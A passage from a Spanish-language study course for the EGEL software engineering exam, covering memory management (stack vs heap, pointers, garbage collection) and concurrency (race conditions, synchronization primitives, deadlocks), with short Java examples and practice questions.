recolección de basura (*Garbage Collection*).\n\n---\n\n## 1. Anatomía de la Memoria de un Proceso: Stack vs Heap\n\nCuando el sistema operativo carga un programa en ejecución, le asigna un espacio de direcciones de memoria virtual estructurado en varios segmentos clave:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   ESPACIO DE MEMORIA DE UN PROCESO                     │\n│                                                                        │\n│   ┌────────────────────────────────────────────────────────────────┐   │\n│   │ Código / Texto (.text): Instrucciones binarias (Solo lectura)  │   │\n│   ├────────────────────────────────────────────────────────────────┤   │\n│   │ Datos estáticos (.data / .bss): Variables globales y estáticas │   │\n│   ├────────────────────────────────────────────────────────────────┤   │\n│   │ HEAP (Montículo): Memoria dinámica (Crece hacia abajo ▼)       │   │\n│   │ (Objetos instanciados con 'new' o 'malloc', ciclo libre)       │   │\n│   ├ · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · ·┤   │\n│   │ Espacio libre / Memoria virtual disponible                     │   │\n│   ├ · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · ·┤   │\n│   │ STACK (Pila): Marcos de llamada / Stack frames (Crece arriba ▲)│   │\n│   │ (Variables locales, parámetros, direcciones de retorno)        │   │\n│   └────────────────────────────────────────────────────────────────┘   │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Comparativa Exhaustiva: Stack vs Heap\n\n| Dimensión | Stack (Pila de Ejecución) | Heap (Montículo de Memoria Dinámica) |\n| :--- | :--- | :--- |\n| **Mecanismo de Asignación** | Estructura LIFO (*Last-In, First-Out*). La CPU ajusta simplemente el puntero de pila (*Stack Pointer*). Asignación prácticamente instantánea (un solo ciclo de CPU). | Algoritmos de búsqueda de bloques libres (ej. *Best-fit*, *First-fit*, listas libres). Mayor costo computacional para ubicar y reservar espacio. |\n| **Ciclo de Vida de las Variables** | Estrictamente ligado al ámbito (*scope*) de la función. Cuando la función retorna, su marco (*stack frame*) se destruye automáticamente. | Dinámico e independiente del ámbito léxico. Los datos persisten hasta que el programador los libera manualmente (`free()`, `delete`) o el recolector de basura los reclama. |\n| **Contenido Típico** | Variables locales primitivas (enteros, flotantes, booleanos), punteros a objetos, direcciones de retorno de funciones. | Objetos complejos, instancias de clases, colecciones de tamaño variable (listas, mapas, árboles), arrays dinámicos. |\n| **Velocidad de Acceso** | Ultrarrápida. Los datos residen en ubicaciones contiguas en memoria con alta probabilidad de residir en la memoria caché L1/L2 del procesador. | Más lenta. Requiere seguir referencias o desreferenciar punteros; mayor probabilidad de fallos de caché (*cache misses*) debido a la dispersión en memoria. |\n| **Falla Típica de Capacidad** | **`StackOverflowError`:** Ocurre comúnmente por funciones recursivas infinitas o sin caso base que agotan el tamaño fijo asignado a la pila del hilo (típicamente 1 MB a 2 MB). | **`OutOfMemoryError`:** Ocurre cuando el montículo se satura completamente por acumulación de datos o fugas de memoria, agotando la memoria RAM disponible o el límite de la Máquina Virtual. |\n\n---\n\n## 2. Punteros Físicos vs Referencias Seguras\n\nLa forma en que un lenguaje permite interactuar con las direcciones de memoria define su nivel de control y su superficie de vulnerabilidad:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                      PUNTEROS VS REFERENCIAS                           │\n│                                                                        │\n│   PUNTERO FÍSICO (C / C++):                                           │\n│   int* ptr = (int*) 0x7FFF5FBFF8C0; // Dirección de memoria cruda      │\n│   ptr++; // Aritmética de punteros: avanza 4 bytes en memoria física   │\n│   • Riesgos: Punteros colgantes, desbordamientos, corrupción de memoria│\n│                                                                        │\n│   REFERENCIA SEGURA (Java / C# / Python):                             │\n│   Cliente c = new Cliente(); // 'c' es un manejador abstracto seguro   │\n│   c = null; // No permite aritmética; la JVM gestiona la dirección     │\n│   • Seguridad: Tipada, verificada en runtime, libre de corrupción cruda│\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Patologías Críticas en el Manejo Manual de Punteros\n1. **Puntero Colgante (Dangling Pointer):** Un puntero que sigue apuntando a una dirección de memoria que ya fue liberada con `free()`. Si el sistema operativo asigna esa memoria a otra variable y el programa escribe a través del puntero colgante, corrompe datos silenciosamente.\n2. **Doble Liberación (Double Free):** Invocar `free(ptr)` dos veces sobre la misma dirección de memoria. Corrompe las estructuras de control internas del asignador del sistema operativo y constituye una de las vulnerabilidades más explotadas para inyección de código.\n3. **Fuga de Memoria Manual (Memory Leak):** Reservar memoria en el Heap con `malloc()` o `new` y perder la última referencia/puntero hacia ese bloque sin haber invocado `free()`. La memoria queda asignada indefinidamente hasta que el proceso muere.\n4. **Desbordamiento de Búfer (Buffer Overflow):** Escribir más bytes de los reservados en un arreglo contiguo en el Stack o Heap, sobrescribiendo variables contiguas o la dirección de retorno de la función (vector clásico de exploits de seguridad informática).\n\n---\n\n## 3. Algoritmos de Garbage Collection (Recolección de Basura)\n\nEn entornos administrados (JVM, CLR, V8, Go runtime), el recolector de basura automatiza la identificación y liberación de memoria dinámica inaccesible.\n\n### A. Conteo de Referencias (Reference Counting)\n- **Mecánica:** Cada objeto en el Heap mantiene un contador entero interno. Cada vez que una variable lo referencia, el contador se incrementa en 1; cuando una referencia se anula o sale de ámbito, el contador se decrementa en 1. Cuando el contador llega a `0`, el objeto se destruye inmediatamente.\n- **Ventaja:** Determinismo y liberación inmediata de memoria sin necesidad de escanear todo el Heap.\n- **Defecto Fatal (Ciclos de Referencias Circulares):** Si el Objeto A referencia al Objeto B, y el Objeto B referencia al Objeto A, ambos tendrán un contador mínimo de `1`, aun cuando el resto del programa ya no tenga ninguna variable que apunte a ellos. **No pueden ser liberados**, provocando una fuga de memoria permanente a menos que se usen referencias débiles (*Weak References*). Es el modelo usado por Swift, Objective-C y CPython (complementado con un detector de ciclos cíclicos).\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   PROBLEMA DEL CICLO DE REFERENCIA                     │\n│                                                                        │\n│         [Variable raíz] ──X (referencia eliminada)                     │\n│                                                                        │\n│         ┌───────────────┐               ┌───────────────┐              │\n│         │   Objeto A    │──────────────▶│   Objeto B    │              │\n│         │ (Contador: 1) │◀──────────────│ (Contador: 1) │              │\n│         └───────────────┘               └───────────────┘              │\n│         Resultado: ¡Inaccesibles desde la raíz pero NUNCA liberados!   │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n### B. Algoritmo de Marcado y Barrido (Mark-and-Sweep)\n- **Mecánica:** Se basa en la **alcanzabilidad** desde las \"Raíces de GC\" (*GC Roots*: variables locales en los hilos activos, variables estáticas globales y referencias en registros de CPU).\n  1. **Fase de Marcado (Mark):** El recolector recorre el grafo de objetos partiendo de las raíces transitivamente y marca una bandera en cada objeto alcanzable (*vivo*).\n  2. **Fase de Barrido (Sweep):** El recolector escanea todo el Heap linealmente; todo objeto cuya bandera no fue marcada es considerado basura (*muerto*) y su espacio se devuelve a la lista de bloques libres.\n- **Ventaja:** Resuelve de manera natural los ciclos de referencias circulares (si un grupo de objetos circulares no es alcanzable desde una raíz, ninguno se marca y todos se eliminan).\n- **Desventajas:** Genera **fragmentación de memoria** (bloques libres dispersos de tamaños variados) y requiere pausas de detención del mundo (*Stop-The-World* / STW) donde los hilos de la aplicación se congelan para que el grafo no mute durante el marcado.\n\n---\n\n### C. Recolección Generacional (Generational GC)\nUtilizada en la JVM (HotSpot) y el CLR (.NET), se sustenta en la **Hipótesis Débil de las Generaciones** (*Weak Generational Hypothesis*):\n\u003e *\"La inmensa mayoría de los objetos creados mueren muy poco tiempo después de su creación (ej. variables locales de métodos, DTOs de peticiones HTTP temporales, strings concatenados).\"*\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                     HEAP GENERACIONAL (EJ. JVM)                        │\n│                                                                        │\n│   GENERACIÓN JOVEN (Young Gen)                GENERACIÓN VIEJA (Tenured│\n│   ┌─────────────────────┬──────────┬──────────┐ ┌────────────────────┐ │\n│   │ Espacio Edén (Eden) │ Survivor │ Survivor │ │ Espacio Antiguo    │ │\n│   │                     │  S0 (From│  S1 (To) │ │ (Objetos longevos, │ │\n│   │ (Nuevos objetos)    │          │          │ │  sobreviven N ciclos│ │\n│   └─────────────────────┴──────────┴──────────┘ └────────────────────┘ │\n│   ◄───────────── Minor GC (Frecuente y rápido) ─────────────►◄─Full GC─►\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n1. **Generación Joven (Young Generation):**\n   - Dividida en: **Edén (Eden)** y dos espacios de sobrevivientes (**Survivor S0 y S1**).\n   - Todos los objetos nuevos se instancian en el espacio Edén.\n   - Cuando Edén se llena, se dispara un **Minor GC**: los objetos vivos se copian a un espacio Survivor y el resto de Edén se purga en milisegundos.\n   - Algoritmo de copiado: como la mayoría de los objetos están muertos, solo copia los pocos vivos contiguamente, eliminando la fragmentación a costo mínimo.\n2. **Generación Vieja (Old / Tenured Generation):**\n   - Si un objeto sobrevive a múltiples ciclos de recolección menor (alcanza un umbral de edad o *tenuring threshold*), es promovido a la Generación Vieja.\n   - Alberga objetos de larga duración: pools de conexiones, cachés de configuración o estados de sesión.\n   - Cuando la Generación Vieja se satura, se ejecuta un **Major GC / Full GC**, el cual analiza todo el Heap, toma significativamente más tiempo y genera pausas de mayor impacto en la latencia.\n\n---\n\n## 4. Fugas de Memoria en Lenguajes con Garbage Collection\n\nUn mito frecuente es creer que un lenguaje con Garbage Collection (como Java, C# o JavaScript) es inmune a las fugas de memoria. Una **fuga de memoria lógica** ocurre cuando un objeto que el programa ya no necesita **sigue siendo alcanzable desde una raíz de GC** activa:\n\n```java\n// Ejemplo clásico de fuga de memoria en Java:\npublic class CacheInfinita {\n    // Colección estática: es una raíz de GC permanente durante la vida de la JVM\n    private static final List\u003cbyte[]\u003e historico = new ArrayList\u003c\u003e();\n\n    public void procesarPeticion() {\n        byte[] buffer = new byte[1024 * 1024 * 10]; // 10 MB\n        historico.add(buffer); // Se añade y NUNCA se remueve\n        // El recolector de basura NUNCA podrá liberar 'buffer' porque 'historico' lo sujeta\n    }\n}\n```\n\n### Causas Principales de Fugas Lógicas\n1. **Colecciones estáticas no limitadas:** Agregar elementos a listas, mapas o conjuntos `static` sin políticas de expulsión (como LRU) o tamaño máximo.\n2. **Listeners y Observadores no desuscritos:** Suscribir un objeto UI a un servicio singleton de eventos y no desuscribirlo al cerrar la pantalla (el singleton retiene la referencia a toda la vista y sus componentes hijos).\n3. **Bloques `ThreadLocal` no limpiados:** Retener objetos pesados en variables asociadas al hilo cuando los hilos provienen de un pool reutilizable (*Thread Pool* de un servidor web).\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Microservicio de Pasarela de Pagos con SLA Estricto de Latencia\n- **Problema:** Un microservicio financiero en Java procesa 5,000 transacciones por segundo. Periódicamente, el percentil 99 de latencia ($p99$) experimenta picos de 1,200 ms debido a pausas de recolección de basura (*Stop-the-World*) durante la limpieza de la memoria vieja.\n- **Diagnóstico y Decisión:**\n  - El recolector tradicional (Parallel GC) detiene todos los hilos de trabajo para barrer y compactar la Generación Vieja.\n  - *Solución de ingeniería:* Migrar la configuración de la JVM a un recolector de basura de baja latencia concurrente (como **ZGC** o **Shenandoah** en OpenJDK), los cuales realizan la fase de marcado y reubicación de objetos de forma concurrente en paralelo con los hilos de la aplicación, manteniendo las pausas por debajo de los 10 milisegundos sin importar el tamaño del Heap.\n\n### Escenario B: Firmware Embebido para un Dispositivo Médico Marcapasos\n- **Problema:** Software de control de estimulación cardíaca con microcontrolador ARM Cortex-M0 de 32 KB de RAM. Debe funcionar ininterrumpidamente durante 10 años sin reiniciar.\n- **Diagnóstico y Decisión:**\n  - Prohibir terminantemente la asignación dinámica de memoria en el Heap (`malloc` / `new`).\n  - *Regla de ingeniería aeroespacial y médica (Estándar MISRA C):* Toda la memoria requerida debe reservarse estáticamente durante el arranque del sistema o asignarse en la pila (*Stack*) con límites fijos garantizados en tiempo de compilación. Esto elimina matemáticamente el riesgo de fugas de memoria, fragmentación de montículo y caídas por agotamiento de RAM (*OutOfMemory*).\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Creer que la recursión infinita causa un error de OutOfMemoryError.**\n\u003e La invocación recursiva sin condición de parada acumula marcos de llamada en la pila de ejecución (*Stack*), lo que provoca un desbordamiento de pila: **`StackOverflowError`**, no un `OutOfMemoryError`.\n\n\u003e **Trampa 2: Afirmar que el Garbage Collector elimina los ciclos de referencias en algoritmos de Reference Counting puro.**\n\u003e El conteo de referencias básico **no puede** detectar ni liberar ciclos circulares aislados. Para resolverlos, se requiere o bien el uso de punteros débiles (*weak pointers*) o un recolector de rastreo basado en alcanzabilidad (*tracing GC* como Mark-and-Sweep).\n\n\u003e **Trampa 3: Asumir que invocar `System.gc()` en Java garantiza la recolección inmediata de basura.**\n\u003e En la especificación oficial del lenguaje, `System.gc()` o `Runtime.getRuntime().gc()` es simplemente una *sugerencia* al entorno de ejecución. La máquina virtual no está obligada a ejecutar la recolección ni a pausar el sistema inmediatamente; invocarlo manualmente en código de producción es una mala práctica de rendimiento.\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nDurante la ejecución de un servicio backend de procesamiento de imágenes médicas desarrollado en C++, se detecta que el consumo de memoria RAM del servidor se incrementa linealmente en 200 MB por cada hora de operación, hasta que el sistema operativo mata el proceso. La inspección del código revela que una función interna reserva memoria en el montículo para procesar el búfer de píxeles, pero no invoca la instrucción `delete[]` en una de las ramas de retorno condicional de error. ¿Qué anomalía de gestión de memoria ha ocurrido?\n- A) Desbordamiento de pila (*Stack Overflow*).\n- B) Corrupción de puntero por doble liberación (*Double Free*).\n- C) Fuga de memoria dinámica (*Memory Leak*).\n- D) Infracción de segmento por desreferenciación de puntero nulo (*Null Pointer Dereference*).\n\n### Pregunta 2\nEn una máquina virtual de lenguaje administrado que implementa recolección de basura generacional, ¿cuál es el fundamento teórico y operativo por el cual la recolección menor (*Minor GC*) en la Generación Joven es significativamente más rápida que una recolección completa (*Full GC*)?\n- A) Porque la Generación Joven utiliza conteo de referencias en lugar de rastreo de alcanzabilidad.\n- B) Porque la Hipótesis Débil de las Generaciones establece que la mayoría de los objetos mueren rápidamente, permitiendo al recolector copiar únicamente la pequeña fracción de objetos vivos del Edén a los espacios Survivor y descartar el resto en un solo paso eficiente.\n- C) Porque la Generación Joven reside en los registros de la CPU y no en la memoria RAM principal.\n- D) Porque en la Generación Joven no se permite la asignación de memoria dinámica para colecciones de datos.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.1.7 de esta subárea).*\n","title":"3.1.2 Gestión de memoria: Stack vs Heap, punteros y algoritmos de Garbage Collection"},{"children":[],"contentMd":"# Concurrencia, Paralelismo, Sincronización de Hilos y Modelos Asíncronos\n\nLa computación moderna es inherentemente multi-núcleo y distribuida. Un ingeniero de software debe ser capaz de diseñar sistemas que procesen múltiples tareas de forma simultánea y segura. En el examen EGEL, los reactivos evalúan la distinción formal entre concurrencia y paralelismo, los costos de los hilos del sistema operativo frente a corrutinas, la identificación y solución de condiciones de carrera mediante primitivas de sincronización, las cuatro condiciones de Coffman que originan *deadlocks* y la selección entre memoria compartida y paso de mensajes.\n\n---\n\n## 1. Concurrencia vs Paralelismo\n\nRob Pike (co-creador de Go) formuló la máxima que define esta distinción esencial:\n\u003e *\"La concurrencia es lidiar con muchas cosas a la vez (estructura). El paralelismo es hacer muchas cosas a la vez (ejecución física).\"*\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                      CONCURRENCIA VS PARALELISMO                       │\n│                                                                        │\n│   CONCURRENCIA (1 solo núcleo de CPU):                                 │\n│   Núcleo 1: [Tarea A][Tarea B][Tarea A][Tarea C][Tarea B]...           │\n│   (Intercalado rápido / Time-slicing; sensación de simultaneidad)      │\n│                                                                        │\n│   PARALELISMO (Múltiples núcleos de CPU):                             │\n│   Núcleo 1: [══════════ Tarea A (Cálculo 1) ══════════]               │\n│   Núcleo 2: [══════════ Tarea B (Cálculo 2) ══════════]               │\n│   (Ejecución física estrictamente simultánea en el mismo instante)     │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n| Criterio | Concurrencia | Paralelismo |\n| :--- | :--- | :--- |\n| **Enfoque** | **Diseño y estructuración del programa:** Descomponer un problema en piezas o flujos independientes que pueden ejecutarse en cualquier orden sin alterar la corrección. | **Uso del hardware:** Ejecutar dos o más flujos de instrucciones en diferentes unidades de procesamiento físicas (núcleos de CPU o GPU) en el mismo instante temporal. |\n| **Requerimiento de Hardware** | Puede ejecutarse en una computadora con un único procesador de **1 solo núcleo** mediante multiplexación en el tiempo (*time-slicing* o cambio de contexto). | Requiere obligatoriamente un hardware con **múltiples núcleos físicos de CPU** o multiprocesadores. |\n| **Objetivo Principal** | **Capacidad de respuesta (Responsiveness) y throughput de E/S:** Evitar que una tarea lenta (leer un archivo o esperar una respuesta de red) bloquee toda la aplicación. | **Rendimiento computacional puro:** Reducir el tiempo total de procesamiento de tareas intensivas en CPU (cálculo matricial, renderizado 3D, IA). |\n\n---\n\n## 2. Unidades de Ejecución: Hilos del Sistema Operativo vs Corrutinas\n\nEl coste computacional y de memoria de la concurrencia depende de la abstracción elegida para representar los flujos de ejecución:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                     HILOS OS VS CORRUTINAS / FIBRAS                    │\n│                                                                        │\n│   HILOS DEL SISTEMA OPERATIVO (Kernel Threads):                        │\n│   • Gestionados por el Kernel del SO.                                  │\n│   • Stack fijo pesado (~1 MB a 2 MB por hilo).                         │\n│   • Cambio de contexto costoso (salto a modo kernel, ~1-2 microseg.)   │\n│   • Límite típico en un servidor: Miles de hilos antes del colapso.    │\n│                                                                        │\n│   CORRUTINAS / HILOS VIRTUALES / FIBRAS (User-space Threads):         │\n│   • Gestionados en espacio de usuario por el runtime del lenguaje.     │\n│   • Stack dinámico minúsculo (pocos kilobytes; crece a demanda).       │\n│   • Cambio de contexto en espacio de usuario (nanosegundos).           │\n│   • Capacidad masiva: Millones de corrutinas concurrentes.             │\n│   • Ejemplos: Goroutines (Go), Virtual Threads (Java 21), Kotlin.      │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### El Bucle de Eventos (Event Loop) y la Entrada/Salida No Bloqueante\nLenguajes como **JavaScript (Node.js)** y **Dart** implementan un modelo de concurrencia basado en un **Event Loop monohilo** asistido por E/S asíncrona:\n- Un solo hilo de CPU procesa la lógica de la aplicación secuencialmente sin bloqueos.\n- Cuando se realiza una operación de E/S lenta (lectura de disco o llamada a base de datos), la petición se delega al sistema operativo mediante multiplexación de sockets (`epoll` en Linux, `kqueue` en macOS, `IOCP` en Windows).\n- Mientras la red responde, el hilo principal sigue atendiendo a otros usuarios.\n- Al completarse la E/S, el sistema operativo inserta un callback o evento en la cola de tareas del Event Loop para ser procesado cuando la pila quede libre.\n- *Ventaja:* Elimina por completo las condiciones de carrera sobre memoria compartida en la lógica de negocio y consume poca memoria RAM.\n\n---\n\n## 3. Condiciones de Carrera y Primitivas de Sincronización\n\nCuando múltiples hilos concurrentes acceden a la misma variable compartida en el Heap y al menos uno de ellos realiza una modificación (*escritura*), el resultado final depende del orden impredecible de intercalado de los hilos dictado por el planificador del sistema operativo. Esto se denomina una **Condición de Carrera (Race Condition)**.\n\n### Ejemplo Clásico de Carrera Crítica: El Problema de Incremento\nLa instrucción en código fuente `saldo = saldo + 1;` no es atómica a nivel de hardware; se descompone en tres instrucciones máquina:\n1. `LOAD R1, [saldo]` (Leer el valor actual de memoria a un registro de CPU).\n2. `ADD R1, 1` (Sumar 1 al registro).\n3. `STORE [saldo], R1` (Guardar el nuevo valor en memoria).\n\nSi el Hilo A y el Hilo B ejecutan esto concurrentemente cuando `saldo = 100`, ambos pueden leer `100`, sumar `1` en sus registros locales y escribir `101`, perdiéndose un incremento.\n\n### Primitivas de Sincronización para Proteger la Sección Crítica\n\nLa **sección crítica** es el bloque de código que accede al recurso compartido disputado. Debe garantizarse la **exclusión mutua**:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                      PRIMITIVAS DE SINCRONIZACIÓN                      │\n│                                                                        │\n│   MUTEX (Mutual Exclusion Lock)                                       │\n│   • Cerrojo binario (0 o 1).                                           │\n│   • Tiene concepto de PROPIEDAD: Solo el hilo que lo adquirió (lock)   │\n│     puede liberarlo (unlock).                                          │\n│   • Protege una sección crítica para que solo UN hilo entre a la vez. │\n│                                                                        │\n│   SEMÁFORO CONTADOR (Dijkstra)                                        │\n│   • Contador entero no negativo (N).                                  │\n│   • Operaciones: wait() / P() [decrementa] y signal() / V() [incrementa│\n│   • NO tiene propiedad: Un hilo puede esperar y otro hilo avisar.     │\n│   • Ideal para controlar acceso a un POOL de N recursos limitados      │\n│     (ej. máximo 10 conexiones simultáneas a base de datos).           │\n│                                                                        │\n│   READ-WRITE LOCK (Cerrojo de Lectura/Escritura)                       │\n│   • Permite múltiples lectores simultáneos si nadie está escribiendo. │\n│   • Exige acceso exclusivo a un solo escritor si va a modificar.      │\n│   • Maximiza el rendimiento en sistemas con 95% lecturas y 5% cambios. │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 4. Interbloqueos (Deadlocks) y las 4 Condiciones de Coffman\n\nUn **Deadlock (Interbloqueo)** es un estado permanente en el que dos o más hilos quedan congelados indefinidamente, esperando por la liberación de recursos que están retenidos por otros hilos del mismo grupo.\n\nEdward G. Coffman demostró formalmente que un interbloqueo solo puede ocurrir si se cumplen **simultáneamente las 4 condiciones** siguientes:\n\n| Condición de Coffman | Definición Formal | Estrategia de Prevención (Romper la Condición) |\n| :--- | :--- | :--- |\n| **1. Exclusión Mutua** | Los recursos involucrados no pueden compartirse; solo un hilo puede usar el recurso a la vez. | Convertir recursos en compartibles cuando sea posible (ejemplo: usar archivos de solo lectura o estructuras inmutables). |\n| **2. Retención y Espera (Hold and Wait)** | Un hilo retiene al menos un recurso mientras espera activamente la asignación de recursos adicionales retenidos por otros hilos. | Exigir que un proceso solicite todos los recursos que necesitará de una sola vez al inicio; si no están todos disponibles, no se le asigna ninguno. |\n| **3. No Apropiación (No Preemption)** | Los recursos asignados no pueden ser arrebatados forzosamente a un hilo; solo pueden ser liberados voluntariamente por el hilo que los posee tras finalizar su tarea. | Si un hilo que retiene recursos solicita uno que no está disponible inmediatamente, el sistema operativo le quita (*preemption*) sus recursos actuales hasta que todos estén libres. |\n| **4. Espera Circular (Circular Wait)** | Existe una cadena cerrada de hilos $\\{H_1, H_2, \\dots, H_n\\}$ tal que $H_1$ espera un recurso retenido por $H_2$, $H_2$ espera por $H_3$, ..., y $H_n$ espera por un recurso retenido por $H_1$. | **Ordenamiento Global de Recursos (Estrategia más común):** Asignar un número entero único a cada recurso y forzar a todos los hilos del sistema a adquirir los cerrojos estrictamente en orden numérico ascendente (rompe la posibilidad de ciclos). |\n\n---\n\n## 5. Modelos Alternativos: Memoria Compartida vs Paso de Mensajes\n\nPara evitar los complejos riesgos de bloqueos mutuos y carreras en memoria compartida, la ingeniería de software moderna promueve dos filosofías de concurrencia:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        MODELOS DE CONCURRENCIA                         │\n│                                                                        │\n│   A. MEMORIA COMPARTIDA (Shared Memory)                                │\n│      [Hilo A] ──┐                                                      │\n│                 ▼                                                      │\n│          [ Heap Compartido ] ◄── Mutex / Locks obligatorios            │\n│                 ▲                                                      │\n│      [Hilo B] ──┘                                                      │\n│                                                                        │\n│   B. PASO DE MENSAJES (Message Passing / Modelo de Actores / CSP)      │\n│      [Actor / Goroutine A] ─── Mensaje Inmutable ───▶ [Buzón / Canal]   │\n│                                                            │           │\n│                                                            ▼           │\n│                                                  [Actor / Goroutine B] │\n│      \"No te comuniques compartiendo memoria;                           │\n│       comparte memoria comunicándote mediante mensajes inmutables.\"    │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n1. **Modelo de Actores (Erlang, Elixir, Akka):**\n   - La unidad de ejecución es un *Actor*. Cada actor posee su propio estado privado estrictamente encapsulado; ningún otro actor puede acceder a su memoria.\n   - Los actores se comunican exclusivamente enviando **mensajes inmutables** a buzones de correo (*mailboxes*).\n   - Elimina matemáticamente las condiciones de carrera sobre memoria local y permite distribuir actores entre miles de servidores sin alterar el código (*transparencia de ubicación*).\n2. **CSP (Communicating Sequential Processes - Canales en Go):**\n   - Procesos independientes que coordinan su ejecución transmitiendo valores a través de canales tipados sincronizados (*channels*).\n\n---\n\n## 6. Escenarios de Decisión Profesional\n\n### Escenario A: Sistema de Pagos con Transferencia entre Dos Cuentas Bancarias\n- **Problema:** La función `transferir(Cuenta c1, Cuenta c2, double monto)` adquiere el cerrojo de `c1` y luego el de `c2`. Si simultáneamente el Hilo 1 transfiere de la Cuenta A a la Cuenta B, y el Hilo 2 transfiere de la Cuenta B a la Cuenta A:\n  - El Hilo 1 bloquea la Cuenta A y solicita la Cuenta B.\n  - El Hilo 2 bloquea la Cuenta B y solicita la Cuenta A.\n  - **Resultado:** Ocurre un *Deadlock* catastrófico por espera circular.\n- **Solución de ingeniería:** Aplicar la prevención de Coffman rompiendo la *Espera Circular*: ordenar los bloqueos por el identificador único de cuenta (`id_cuenta`):\n  ```java\n  Cuenta primera = c1.id \u003c c2.id ? c1 : c2;\n  Cuenta segunda = c1.id \u003c c2.id ? c2 : c1;\n  synchronized(primera) {\n      synchronized(segunda) {\n          // Transferencia atómica segura: Deadlock matemáticamente imposible\n      }\n  }\n  ```\n\n### Escenario B: Servidor de Chat con 100,000 Conexiones WebSocket Abiertas\n- **Problema:** Crear un hilo nativo del sistema operativo por cada conexión WebSocket abierta colapsaría el servidor por consumo de RAM ($100,000 \\times 1\\text{ MB} = 100\\text{ GB}$ de RAM solo en pilas de ejecución) y sobrecarga masiva de cambios de contexto en el Kernel.\n- **Solución de ingeniería:** Adoptar una arquitectura basada en **Corrutinas / Hilos Virtuales** (Go o Java 21) o un **Event Loop asíncrono no bloqueante** (Node.js). Cada conexión consume solo unos pocos kilobytes de memoria y el sistema maneja 100,000 clientes concurrentes en un único servidor comercial modesto.\n\n---\n\n## 7. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir un Mutex con un Semáforo Contador.**\n\u003e - Un **Mutex** tiene *propiedad de hilo*: solo el hilo que hizo el `lock()` puede hacer el `unlock()`.\n\u003e - Un **Semáforo** es un contador de señalización: cualquier hilo puede incrementar el semáforo invocando `signal()`, aun si no fue quien ejecutó el `wait()`. No tiene propiedad.\n\n\u003e **Trampa 2: Creer que la concurrencia siempre acelera el procesamiento de un programa.**\n\u003e Si la tarea es puramente intensiva en CPU y se ejecuta en una máquina de un solo núcleo, o si los hilos compiten intensamente por el mismo cerrojo (*lock contention*), la concurrencia **hará que el programa sea más lento** debido al costo continuo del cambio de contexto (*context switching overhead*).\n\n\u003e **Trampa 3: Asumir que la palabra reservada `volatile` en Java o C# previene condiciones de carrera en operaciones de incremento.**\n\u003e La palabra `volatile` únicamente garantiza **visibilidad de memoria** (que los cambios de una variable se lean de la memoria principal y no del caché de la CPU del hilo). No proporciona **atomicidad** para operaciones compuestas como `contador++` (que requiere un cerrojo o un tipo atómico con hardware CAS: `AtomicInteger`).\n\n---\n\n## 8. Autoevaluación Formativa\n\n### Pregunta 1\nDos hilos concurrentes ejecutan un módulo de contabilidad compartiendo un recurso en memoria. El Hilo A adquiere el Cerrojo 1 e intenta adquirir el Cerrojo 2. En el mismo instante, el Hilo B adquiere el Cerrojo 2 e intenta adquirir el Cerrojo 1. Ambos hilos quedan suspendidos permanentemente sin progresar. ¿Qué condición necesaria de Coffman se evidencia en este fallo y cuál es la estrategia arquitectónica estándar para prevenirla de raíz?\n- A) Ocurrió una Condición de Carrera; se previene aumentando el tiempo de time-slicing del procesador.\n- B) Ocurrió la condición de Espera Circular; se previene forzando un orden jerárquico global y unificado para la adquisición de todos los cerrojos en el sistema.\n- C) Ocurrió la condición de No Apropiación; se previene asignando memoria en el Stack en lugar del Heap.\n- D) Ocurrió una Lectura Sucia; se previene reduciendo el aislamiento de las transacciones a Read Uncommitted.\n\n### Pregunta 2\nUn equipo de ingeniería requiere diseñar un servidor de microservicios que soporte 50,000 conexiones concurrentes de larga duración (I/O intensivo) con la mínima huella de memoria RAM posible por conexión. ¿Qué abstracción de concurrencia es la más eficiente y escalable para este escenario?\n- A) Asignar un hilo nativo del sistema operativo (Kernel Thread) con pila fija de 2 MB a cada conexión entrante.\n- B) Utilizar corrutinas / hilos ligeros en espacio de usuario o un bucle de eventos no bloqueante (Event Loop) que multiplexe las conexiones sobre un grupo reducido de hilos de sistema operativo.\n- C) Ejecutar cada conexión en un proceso independiente de sistema operativo separado con memoria virtual aislada.\n- D) Desactivar la sincronización de hilos y operar sin exclusión mutua para evitar pausas en el procesamiento.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.1.7 de esta subárea).*\n","title":"3.1.3 Concurrencia, paralelismo, sincronización de hilos y modelos asíncronos"},{"children":[],"contentMd":"# Manejo Robusto de Errores, Jerarquía de Excepciones y Patrones de Resiliencia\n\nEl tratamiento de fallas es un indicador directo de la madurez de la ingeniería de un sistema de software. Un código que ignora excepciones, utiliza bloques vacíos de captura o mezcla el control de flujo con el manejo de errores genera fallos silenciosos catastróficos y degradación severa del rendimiento. En el examen EGEL de Ingeniería de Software, los reactivos evalúan la jerarquía formal de excepciones (Checked vs Unchecked), el costo computacional del desenrollado de pila (*stack unwinding*), los antipatrones de gestión de fallos y los paradigmas modernos basados en tipos algebraicos (`Result` y `Optional`).\n\n---\n\n## 1. La Jerarquía Formal de Excepciones\n\nEn plataformas orientadas a objetos empresariales (como la JVM y .NET), los eventos anómalos se modelan mediante una jerarquía estricta de clases:\n\n```\n                                  Throwable (Raíz)\n                                         │\n                 ┌───────────────────────┴───────────────────────┐\n                 ▼                                               